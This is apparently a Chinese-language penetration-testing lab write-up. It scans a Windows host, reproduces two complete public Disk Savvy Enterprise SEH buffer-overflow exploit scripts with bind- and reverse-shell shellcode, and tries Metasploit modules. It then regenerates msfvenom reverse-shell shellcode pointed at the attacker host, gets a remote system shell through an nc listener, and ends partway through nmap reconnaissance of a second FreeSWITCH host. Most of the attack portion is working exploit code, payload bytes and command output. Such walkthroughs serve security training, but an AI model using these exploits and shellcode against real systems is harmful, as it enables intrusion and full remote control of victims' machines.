| Workgroup: WORKGROUP\x00
|_ System time: 2023-03-12T11:57:19+08:00
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 63.68 ms 192.168.200.1
2 11.68 ms 172.16.1.87
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.01 seconds
從http-title發現不熟悉的名字,找找看漏洞:
第一個:
上面那網頁下面的code:
# Exploit Title: Disk Savvy Enterprise v10.4.18 Server - Unauthenticated Remote Buffer Overflow SEH
# Date: 01/02/2018
# Exploit Author: Daniel Teixeira
# Vendor Homepage: http://www.disksavvy.com/
# Software Link: http://www.disksavvy.com/setups/disksavvyent_setup_v10.4.18.exe
# Version: 10.4.18
# CVE: CVE-2018-6481
# Tested on: Windows 7 x86
from struct import pack
from os import system
from sys import exit
from time import sleep
import socket
port = 9124
host = "172.16.40.148"
# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -f py -b '\x00\x02\x0a\x0d\xf8\xfd' --var-name shellcode
shellcode = ""
shellcode += "\xba\x71\x6d\xbf\xc8\xd9\xc0\xd9\x74\x24\xf4\x5d"
shellcode += "\x29\xc9\xb1\x53\x83\xed\xfc\x31\x55\x0e\x03\x24"
shellcode += "\x63\x5d\x3d\x3a\x93\x23\xbe\xc2\x64\x44\x36\x27"
shellcode += "\x55\x44\x2c\x2c\xc6\x74\x26\x60\xeb\xff\x6a\x90"
shellcode += "\x78\x8d\xa2\x97\xc9\x38\x95\x96\xca\x11\xe5\xb9"
shellcode += "\x48\x68\x3a\x19\x70\xa3\x4f\x58\xb5\xde\xa2\x08"
shellcode += "\x6e\x94\x11\xbc\x1b\xe0\xa9\x37\x57\xe4\xa9\xa4"
shellcode += "\x20\x07\x9b\x7b\x3a\x5e\x3b\x7a\xef\xea\x72\x64"
shellcode += "\xec\xd7\xcd\x1f\xc6\xac\xcf\xc9\x16\x4c\x63\x34"
shellcode += "\x97\xbf\x7d\x71\x10\x20\x08\x8b\x62\xdd\x0b\x48"
shellcode += "\x18\x39\x99\x4a\xba\xca\x39\xb6\x3a\x1e\xdf\x3d"
shellcode += "\x30\xeb\xab\x19\x55\xea\x78\x12\x61\x67\x7f\xf4"
shellcode += "\xe3\x33\xa4\xd0\xa8\xe0\xc5\x41\x15\x46\xf9\x91"
shellcode += "\xf6\x37\x5f\xda\x1b\x23\xd2\x81\x73\x80\xdf\x39"
shellcode += "\x84\x8e\x68\x4a\xb6\x11\xc3\xc4\xfa\xda\xcd\x13"
shellcode += "\xfc\xf0\xaa\x8b\x03\xfb\xca\x82\xc7\xaf\x9a\xbc"
shellcode += "\xee\xcf\x70\x3c\x0e\x1a\xec\x34\xa9\xf5\x13\xb9"
shellcode += "\x09\xa6\x93\x11\xe2\xac\x1b\x4e\x12\xcf\xf1\xe7"
shellcode += "\xbb\x32\xfa\x16\x60\xba\x1c\x72\x88\xea\xb7\xea"
shellcode += "\x6a\xc9\x0f\x8d\x95\x3b\x38\x39\xdd\x2d\xff\x46"
shellcode += "\xde\x7b\x57\xd0\x55\x68\x63\xc1\x69\xa5\xc3\x96"
shellcode += "\xfe\x33\x82\xd5\x9f\x44\x8f\x8d\x3c\xd6\x54\x4d"
shellcode += "\x4a\xcb\xc2\x1a\x1b\x3d\x1b\xce\xb1\x64\xb5\xec"
shellcode += "\x4b\xf0\xfe\xb4\x97\xc1\x01\x35\x55\x7d\x26\x25"
shellcode += "\xa3\x7e\x62\x11\x7b\x29\x3c\xcf\x3d\x83\x8e\xb9"
shellcode += "\x97\x78\x59\x2d\x61\xb3\x5a\x2b\x6e\x9e\x2c\xd3"
shellcode += "\xdf\x77\x69\xec\xd0\x1f\x7d\x95\x0c\x80\x82\x4c"
shellcode += "\x95\xb0\xc8\xcc\xbc\x58\x95\x85\xfc\x04\x26\x70"
shellcode += "\xc2\x30\xa5\x70\xbb\xc6\xb5\xf1\xbe\x83\x71\xea"
shellcode += "\xb2\x9c\x17\x0c\x60\x9c\x3d"
payload = "A" * 124 # offset
payload += "\x90\x09\xeb\x05" # jmp over seh retrun value
payload += "\x13\x6d\x05\x10" # 0x10056d13 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Disk Savvy Enterprise\bin\libspp.dll)
payload += "\x90" * 10
payload += "\x83\xc4\x64" * 20 # metasm > add esp,100
payload += "\xff\xe4" # metasm > jmp esp
payload += "\x90" * (1000 - len(payload) - len(shellcode))
payload += shellcode
header = "\x75\x19\xba\xab"
header += "\x03\x00\x00\x00"
header += "\x00\x40\x00\x00"
header += pack('<I', len(payload))
header += pack('<I', len(payload))
header += pack('<I', ord(payload[-1]))
packet = header
packet += payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "[*] Testing connection to tatget %s:%s" %(host,port)
s.connect((host, port))
except:
print "[-] Unable to communicate to target %s:%s" %(host,port)
exit()
s.send(packet)
print "[*] Payload Sent.."
print "[*] Connecting to bind shell %s:4444 .." %host
sleep(5)
system("nc %s 4444"%host)
大概的大意是,先把dll執行完成後,再用dll載入這一段shell code。感覺不是很易用,所以看看metaspolit:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# msfconsole
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%%
%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %%
%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%%
%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%%
%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
=[ metasploit v6.3.2-dev ]
+ -- --=[ 2290 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Adapter names can be used for IP params
set LHOST eth0
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search savvy
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/misc/disk_savvy_adm 2017-01-31 great No Disk Savvy Enterprise v10.4.18
1 exploit/windows/http/disksavvy_get_bof 2016-12-01 excellent Yes DiskSavvy Enterprise GET Buffer Overflow
Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/http/disksavvy_get_bof
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/disksavvy_get_bof) > use 1
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/disksavvy_get_bof) > show options
Module options (exploit/windows/http/disksavvy_get_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/doc
s/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.18.193 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/disksavvy_get_bof) > set rhosts 172.16.1.87
rhosts => 172.16.1.87
msf6 exploit(windows/http/disksavvy_get_bof) > set lhost 192.168.200.6
lhost => 192.168.200.6
msf6 exploit(windows/http/disksavvy_get_bof) > set lport 7071
lport => 7071
msf6 exploit(windows/http/disksavvy_get_bof) > show options
Module options (exploit/windows/http/disksavvy_get_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOSTS 172.16.1.87 yes The target host(s), see https://docs.metasploit.com/doc
s/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 7071 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/disksavvy_get_bof) > run
[*] Started reverse TCP handler on 192.168.200.6:7071
[*] Automatically detecting the target...
[-] Exploit aborted due to failure: no-target: No matching target
[*] Exploit completed, but no session was created.
失敗,換另一個:
msf6 exploit(windows/http/disksavvy_get_bof) > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/disk_savvy_adm) > show options
Module options (exploit/windows/misc/disk_savvy_adm):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs
/using-metasploit/basics/using-metasploit.html
RPORT 9124 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.18.193 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Disk Savvy Enterprise v10.4.18
View the full module info with the info, or info -d command.
msf6 exploit(windows/misc/disk_savvy_adm) > set rhosts 172.16.1.87
rhosts => 172.16.1.87
msf6 exploit(windows/misc/disk_savvy_adm) > set lhost 192.168.200.6
lhost => 192.168.200.6
msf6 exploit(windows/misc/disk_savvy_adm) > set lport 7073
lport => 7073
msf6 exploit(windows/misc/disk_savvy_adm) > show options
Module options (exploit/windows/misc/disk_savvy_adm):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.1.87 yes The target host(s), see https://docs.metasploit.com/docs
/using-metasploit/basics/using-metasploit.html
RPORT 9124 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, no
ne)
LHOST 192.168.200.6 yes The listen address (an interface may be specified)
LPORT 7073 yes The listen port
Exploit target:
Id Name
-- ----
0 Disk Savvy Enterprise v10.4.18
View the full module info with the info, or info -d command.
msf6 exploit(windows/misc/disk_savvy_adm) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Disk Savvy Enterprise v10.4.18
msf6 exploit(windows/misc/disk_savvy_adm) > run
[*] Started reverse TCP handler on 192.168.200.6:7073
[*] Exploit completed, but no session was created.
也失敗。帶上版本號再仔細google一下:
aaa找到了新的poc
但跟剛剛網路上找的一樣,都是buffer overflow的漏洞:
#!/usr/bin/env python
# Exploit Title: Disk Savvy Enterprise 9.9.14 Remote SEH Buffer Overflow
# Date: 2017-08-25
# Exploit Author: Nipun Jaswal & Anurag Srivastava
# Author Homepage: www.pyramidcyber.com
# Vendor Homepage: http://www.disksavvy.com
# Software Link: http://www.disksavvy.com/setups/disksavvyent_setup_v9.9.14.exe
# Version: v9.9.14
# Tested on: Windows 7 SP1 x64
# Steps to Reproduce : Go to Options --> Server --> Check Enable Web Server on Port, Enter Any Port[8080] --> Save
import socket,sys
target = "127.0.0.1"
port = 8080
#msfvenom -p windows/shell_reverse_tcp LHOST=185.92.223.120 LPORT=4443 EXITFUN=none -e x86/alpha_mixed -f python
buf = ""
buf += "\x89\xe3\xda\xde\xd9\x73\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d\x38\x6d"
buf += "\x52\x35\x50\x37\x70\x65\x50\x71\x70\x6b\x39\x4d\x35"
buf += "\x70\x31\x4b\x70\x63\x54\x6c\x4b\x56\x30\x76\x50\x4c"
buf += "\x4b\x63\x62\x76\x6c\x4c\x4b\x50\x52\x76\x74\x4c\x4b"
buf += "\x42\x52\x36\x48\x34\x4f\x58\x37\x51\x5a\x37\x56\x46"
buf += "\x51\x79\x6f\x6e\x4c\x55\x6c\x31\x71\x51\x6c\x67\x72"
buf += "\x34\x6c\x51\x30\x59\x51\x48\x4f\x36\x6d\x65\x51\x79"
buf += "\x57\x59\x72\x6b\x42\x72\x72\x72\x77\x4c\x4b\x52\x72"
buf += "\x76\x70\x6c\x4b\x61\x5a\x77\x4c\x6e\x6b\x42\x6c\x66"
buf += "\x71\x50\x78\x6a\x43\x32\x68\x75\x51\x6b\x61\x36\x31"
buf += "\x4e\x6b\x70\x59\x47\x50\x75\x51\x7a\x73\x4c\x4b\x30"
buf += "\x49\x66\x78\x79\x73\x64\x7a\x73\x79\x6c\x4b\x45\x64"
buf += "\x4c\x4b\x36\x61\x7a\x76\x50\x31\x6b\x4f\x4e\x4c\x4f"
buf += "\x31\x7a\x6f\x36\x6d\x43\x31\x39\x57\x74\x78\x6b\x50"
buf += "\x31\x65\x6b\x46\x43\x33\x53\x4d\x68\x78\x77\x4b\x33"
buf += "\x4d\x31\x34\x44\x35\x78\x64\x56\x38\x6e\x6b\x36\x38"
buf += "\x75\x74\x56\x61\x78\x53\x65\x36\x4e\x6b\x66\x6c\x30"
buf += "\x4b\x6e\x6b\x33\x68\x65\x4c\x63\x31\x68\x53\x6c\x4b"
buf += "\x65\x54\x4e\x6b\x33\x31\x58\x50\x6e\x69\x43\x74\x31"
buf += "\x34\x65\x74\x53\x6b\x71\x4b\x71\x71\x46\x39\x72\x7a"
buf += "\x53\x61\x39\x6f\x49\x70\x43\x6f\x61\x4f\x61\x4a\x4e"
buf += "\x6b\x44\x52\x78\x6b\x6e\x6d\x33\x6d\x33\x58\x75\x63"
buf += "\x50\x32\x35\x50\x37\x70\x32\x48\x54\x37\x70\x73\x34"
buf += "\x72\x63\x6f\x66\x34\x62\x48\x52\x6c\x52\x57\x44\x66"
buf += "\x43\x37\x39\x6f\x79\x45\x4c\x78\x4e\x70\x43\x31\x45"
buf += "\x50\x57\x70\x34\x69\x6f\x34\x51\x44\x70\x50\x53\x58"
buf += "\x76\x49\x6f\x70\x50\x6b\x33\x30\x79\x6f\x5a\x75\x50"
buf += "\x50\x46\x30\x42\x70\x46\x30\x51\x50\x62\x70\x67\x30"
buf += "\x70\x50\x30\x68\x79\x7a\x56\x6f\x69\x4f\x49\x70\x69"
buf += "\x6f\x48\x55\x6f\x67\x52\x4a\x36\x65\x75\x38\x68\x39"
buf += "\x33\x6c\x6b\x6f\x74\x38\x52\x48\x43\x32\x57\x70\x44"
buf += "\x51\x71\x4b\x4c\x49\x4b\x56\x31\x7a\x72\x30\x56\x36"
buf += "\x50\x57\x63\x58\x6d\x49\x6d\x75\x34\x34\x63\x51\x79"
buf += "\x6f\x4b\x65\x6c\x45\x6b\x70\x43\x44\x36\x6c\x69\x6f"
buf += "\x72\x6e\x76\x68\x52\x55\x48\x6c\x52\x48\x78\x70\x6c"
buf += "\x75\x6f\x52\x52\x76\x4b\x4f\x4e\x35\x42\x48\x43\x53"
buf += "\x50\x6d\x35\x34\x63\x30\x6e\x69\x4d\x33\x62\x77\x43"
buf += "\x67\x56\x37\x75\x61\x39\x66\x42\x4a\x62\x32\x31\x49"
buf += "\x70\x56\x69\x72\x39\x6d\x72\x46\x59\x57\x51\x54\x45"
buf += "\x74\x77\x4c\x33\x31\x46\x61\x4e\x6d\x37\x34\x57\x54"
buf += "\x56\x70\x68\x46\x47\x70\x62\x64\x36\x34\x46\x30\x61"
buf += "\x46\x36\x36\x62\x76\x70\x46\x72\x76\x32\x6e\x61\x46"
buf += "\x30\x56\x56\x33\x70\x56\x73\x58\x53\x49\x48\x4c\x55"
buf += "\x6f\x4f\x76\x49\x6f\x4a\x75\x4f\x79\x39\x70\x52\x6e"
buf += "\x72\x76\x37\x36\x4b\x4f\x56\x50\x61\x78\x65\x58\x4e"
buf += "\x67\x57\x6d\x75\x30\x39\x6f\x59\x45\x6f\x4b\x78\x70"
buf += "\x4d\x65\x4e\x42\x71\x46\x71\x78\x6e\x46\x6c\x55\x4f"
buf += "\x4d\x6f\x6d\x79\x6f\x59\x45\x35\x6c\x53\x36\x53\x4c"
buf += "\x54\x4a\x4d\x50\x6b\x4b\x4b\x50\x54\x35\x65\x55\x6d"
buf += "\x6b\x63\x77\x55\x43\x43\x42\x32\x4f\x63\x5a\x43\x30"
buf += "\x72\x73\x4b\x4f\x48\x55\x41\x41"
payload = buf # Shellcode begins from the start of the buffer
payload += 'A' * (2492 - len(payload)) # Padding after shellcode till the offset value
payload += '\xEB\x10\x90\x90' # NSEH, a short jump of 10 bytes
payload += '\xDD\xAD\x13\x10' # SEH : POP EDI POP ESI RET 04 libpal.dll
payload += '\x90' * 10 # NOPsled
payload += '\xE9\x25\xBF\xFF\xFF' # Second JMP to ShellCode
payload += 'D' * (5000-len(payload)) # Additional Padding
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((target,port))
print "[*] Connection Success."
except:
print "Connction Refused %s:%s" %(target,port)
sys.exit(2)
packet = "GET /../%s HTTP/1.1\r\n" %payload # Request & Headers
packet += "Host: 4.2.2.2\r\n"
packet += "Connection: keep-alive\r\n"
packet += "Referer: http://pyramidcyber.com\r\n"
packet += "\r\n"
s.send(packet)
s.close()
看下圖,除了根據nmap結果改target跟port外,連buf也要用msfvenom重新生成。
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.6 LPORT=4443 EXITFUN=none -e x86/alpha_mixed -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of python file: 3511 bytes
buf = b""
buf += b"\x89\xe6\xdb\xd8\xd9\x76\xf4\x5d\x55\x59\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
buf += b"\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
buf += b"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
buf += b"\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += b"\x4b\x4c\x38\x68\x4c\x42\x65\x50\x57\x70\x77\x70"
buf += b"\x61\x70\x4e\x69\x4a\x45\x75\x61\x4f\x30\x32\x44"
buf += b"\x6c\x4b\x36\x30\x30\x30\x4e\x6b\x31\x42\x34\x4c"
buf += b"\x6e\x6b\x43\x62\x55\x44\x4c\x4b\x54\x32\x44\x68"
buf += b"\x46\x6f\x6e\x57\x51\x5a\x37\x56\x35\x61\x49\x6f"
buf += b"\x4c\x6c\x55\x6c\x70\x61\x53\x4c\x57\x72\x34\x6c"
buf += b"\x31\x30\x5a\x61\x58\x4f\x64\x4d\x75\x51\x4a\x67"
buf += b"\x79\x72\x5a\x52\x66\x32\x50\x57\x4c\x4b\x50\x52"
buf += b"\x46\x70\x6c\x4b\x42\x6a\x37\x4c\x6e\x6b\x70\x4c"
buf += b"\x36\x71\x43\x48\x79\x73\x42\x68\x76\x61\x68\x51"
buf += b"\x66\x31\x6c\x4b\x31\x49\x35\x70\x43\x31\x79\x43"
buf += b"\x6c\x4b\x32\x69\x65\x48\x39\x73\x67\x4a\x43\x79"
buf += b"\x4c\x4b\x57\x44\x4e\x6b\x53\x31\x7a\x76\x76\x51"
buf += b"\x4b\x4f\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x35\x51"
buf += b"\x48\x47\x77\x48\x59\x70\x32\x55\x39\x66\x56\x63"
buf += b"\x61\x6d\x6b\x48\x75\x6b\x53\x4d\x35\x74\x42\x55"
buf += b"\x68\x64\x56\x38\x6c\x4b\x76\x38\x36\x44\x43\x31"
buf += b"\x79\x43\x75\x36\x4e\x6b\x74\x4c\x50\x4b\x6e\x6b"
buf += b"\x61\x48\x35\x4c\x75\x51\x6e\x33\x4c\x4b\x73\x34"
buf += b"\x6c\x4b\x65\x51\x4a\x70\x4b\x39\x53\x74\x31\x34"
buf += b"\x34\x64\x33\x6b\x51\x4b\x33\x51\x73\x69\x71\x4a"
buf += b"\x33\x61\x59\x6f\x69\x70\x71\x4f\x43\x6f\x61\x4a"
buf += b"\x6c\x4b\x34\x52\x78\x6b\x6e\x6d\x43\x6d\x65\x38"
buf += b"\x37\x43\x77\x42\x57\x70\x63\x30\x43\x58\x33\x47"
buf += b"\x33\x43\x45\x62\x43\x6f\x63\x64\x51\x78\x42\x6c"
buf += b"\x70\x77\x54\x66\x55\x57\x49\x6f\x58\x55\x6f\x48"
buf += b"\x6a\x30\x57\x71\x57\x70\x73\x30\x36\x49\x69\x54"
buf += b"\x51\x44\x30\x50\x61\x78\x74\x69\x6d\x50\x72\x4b"
buf += b"\x57\x70\x49\x6f\x78\x55\x70\x50\x72\x70\x52\x70"
buf += b"\x52\x70\x43\x70\x50\x50\x47\x30\x30\x50\x65\x38"
buf += b"\x39\x7a\x36\x6f\x39\x4f\x4d\x30\x79\x6f\x6a\x75"
buf += b"\x6f\x67\x42\x4a\x74\x45\x70\x68\x4b\x70\x59\x38"
buf += b"\x48\x48\x54\x46\x70\x68\x35\x52\x53\x30\x77\x61"
buf += b"\x31\x4b\x6b\x39\x7a\x46\x31\x7a\x74\x50\x56\x36"
buf += b"\x30\x57\x53\x58\x4e\x79\x6e\x45\x61\x64\x65\x31"
buf += b"\x49\x6f\x4a\x75\x4d\x55\x59\x50\x70\x74\x34\x4c"
buf += b"\x69\x6f\x32\x6e\x77\x78\x53\x45\x5a\x4c\x50\x68"
buf += b"\x7a\x50\x6f\x45\x59\x32\x76\x36\x79\x6f\x68\x55"
buf += b"\x72\x48\x45\x33\x70\x6d\x72\x44\x55\x50\x6c\x49"
buf += b"\x78\x63\x32\x77\x66\x37\x72\x77\x65\x61\x4a\x56"
buf += b"\x30\x6a\x62\x32\x46\x39\x52\x76\x59\x72\x6b\x4d"
buf += b"\x61\x76\x69\x57\x43\x74\x55\x74\x37\x4c\x36\x61"
buf += b"\x77\x71\x4c\x4d\x30\x44\x34\x64\x54\x50\x78\x46"
buf += b"\x55\x50\x42\x64\x72\x74\x36\x30\x56\x36\x66\x36"
buf += b"\x43\x66\x61\x56\x63\x66\x42\x6e\x50\x56\x76\x36"
buf += b"\x61\x43\x50\x56\x52\x48\x72\x59\x58\x4c\x55\x6f"
buf += b"\x4e\x66\x39\x6f\x6e\x35\x4e\x69\x4d\x30\x52\x6e"
buf += b"\x50\x56\x72\x66\x4b\x4f\x30\x30\x70\x68\x54\x48"
buf += b"\x4b\x37\x77\x6d\x73\x50\x39\x6f\x6a\x75\x6d\x6b"
buf += b"\x68\x70\x38\x35\x6d\x72\x50\x56\x43\x58\x6e\x46"
buf += b"\x7a\x35\x6d\x6d\x6f\x6d\x4b\x4f\x59\x45\x75\x6c"
buf += b"\x37\x76\x51\x6c\x67\x7a\x4f\x70\x6b\x4b\x59\x70"
buf += b"\x63\x45\x67\x75\x4f\x4b\x71\x57\x66\x73\x52\x52"
buf += b"\x52\x4f\x52\x4a\x33\x30\x62\x73\x4b\x4f\x4a\x75"
buf += b"\x41\x41"
把上面生成的東西覆蓋原本python檔內的buf +=
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim 42558-1.py
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python 42558-1.py
File "/home/kali/PT_day3/42558-1.py", line 90
print "[*] Connection Success."
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python2 42558-1.py
[*] Connection Success.
別忘了要先監聽port:
┌──(root㉿kali)-[~]
└─# nc -lvnp 4443
listening on [any] 4443 ...
connect to [192.168.200.6] from (UNKNOWN) [172.16.1.87] 49159
Microsoft Windows [▒▒▒▒ 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
]]>
套路的先看看開了哪些port,再針對那些port做詳細掃描:
┌──(kali㉿kali)-[~]
└─$ sudo -i
[sudo] password for kali:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.105
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 03:24 EST
Nmap scan report for 172.16.1.105
Host is up (0.056s latency).
Not shown: 65513 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2855/tcp open msrp
2856/tcp open cesdinv
3306/tcp open mysql
5060/tcp open sip
5066/tcp open stanag-5066
5080/tcp open onscreen
5985/tcp open wsman
7443/tcp open oracleas-https
8021/tcp open ftp-proxy
8081/tcp open blackice-icecap
8082/tcp open blackice-alerts
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 32.61 seconds
┌──(root㉿kali)-[~]
└─# nmap -p135,139,445,2855,2856,3306,5060,5066,5080,5985,7443,8021,8081,8082,47001,49152-49158 172.16.1.105 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 03:26 EST
Nmap scan report for 172.16.1.105
Host is up (0.018s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
2855/tcp open msrp?
2856/tcp open ssl/cesdinv?
| ssl-cert: Subject: commonName=FreeSWITCH/countryName=US
| Not valid before: 2020-08-24T03:07:10
|_Not valid after: 1984-06-30T20:38:54
|_ssl-date: TLS randomness does not represent time
3306/tcp open mysql?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, NULL, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|_ Host '192.168.200.7' is not allowed to connect to this MariaDB server
5060/tcp open sip-proxy FreeSWITCH mod_sofia 1.10.1~64bit
|_sip-methods: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REGISTER, REFER, NOTIFY, PUBLISH, SUBSCRIBE
5066/tcp open websocket (WebSocket version: 13)
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad Request
|_ Sec-WebSocket-Version: 13
5080/tcp open sip-proxy FreeSWITCH mod_sofia 1.10.1~64bit
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7443/tcp open ssl/websocket (WebSocket version: 13)
| ssl-cert: Subject: commonName=FreeSWITCH/countryName=US
| Not valid before: 2020-08-24T03:07:10
|_Not valid after: 1984-06-30T20:38:54
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad Request
|_ Sec-WebSocket-Version: 13
8021/tcp open freeswitch-event FreeSWITCH mod_event_socket
8081/tcp open websocket (WebSocket version: 13)
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad Request
|_ Sec-WebSocket-Version: 13
8082/tcp open ssl/websocket (WebSocket version: 13)
| fingerprint-strings:
| GenericLines, RTSPRequest:
| HTTP/1.1 400 Bad Request
|_ Sec-WebSocket-Version: 13
|_ssl-date: TLS randomness does not represent time
